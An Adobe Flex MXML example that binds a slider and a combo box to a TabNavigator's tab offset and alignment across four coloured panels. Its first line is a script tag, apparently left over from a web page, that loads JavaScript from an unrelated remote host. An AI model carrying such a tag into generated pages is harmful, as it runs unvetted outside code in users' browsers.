<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>
main.mxml
- <?xml version="1.0"?>
- <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
- layout="vertical"
- verticalAlign="middle"
- backgroundColor="white">
- <mx:ApplicationControlBar dock="true">
- <mx:Form>
- <mx:FormItem label="tabOffset:">
- <mx:HSlider id="slider"
- minimum="-100"
- maximum="100"
- value="0"
- snapInterval="1"
- tickInterval="10"
- dataTipPrecision="0"
- liveDragging="true" />
- </mx:FormItem>
- <mx:FormItem label="horizontalAlign:">
- <mx:ComboBox id="comboBox">
- <mx:dataProvider>
- <mx:Array>
- <mx:String>left</mx:String>
- <mx:String>center</mx:String>
- <mx:String>right</mx:String>
- </mx:Array>
- </mx:dataProvider>
- </mx:ComboBox>
- </mx:FormItem>
- </mx:Form>
- </mx:ApplicationControlBar>
- <mx:TabNavigator id="tabNavigator"
- width="100%"
- height="100%"
- tabOffset="{slider.value}"
- horizontalAlign="{comboBox.selectedItem}">
- <mx:VBox label="Panel 1" backgroundColor="haloOrange">
- <mx:Label text="TabNavigator container panel 1"/>
- </mx:VBox>
- <mx:VBox label="Panel 2" backgroundColor="haloGreen">
- <mx:Label text="TabNavigator container panel 2"/>
- </mx:VBox>
- <mx:VBox label="Panel 3" backgroundColor="haloBlue">
- <mx:Label text="TabNavigator container panel 3"/>
- </mx:VBox>
- <mx:VBox label="Panel 4" backgroundColor="haloSilver">
- <mx:Label text="TabNavigator container panel 4"/>
- </mx:VBox>
- </mx:TabNavigator>
- </mx:Application>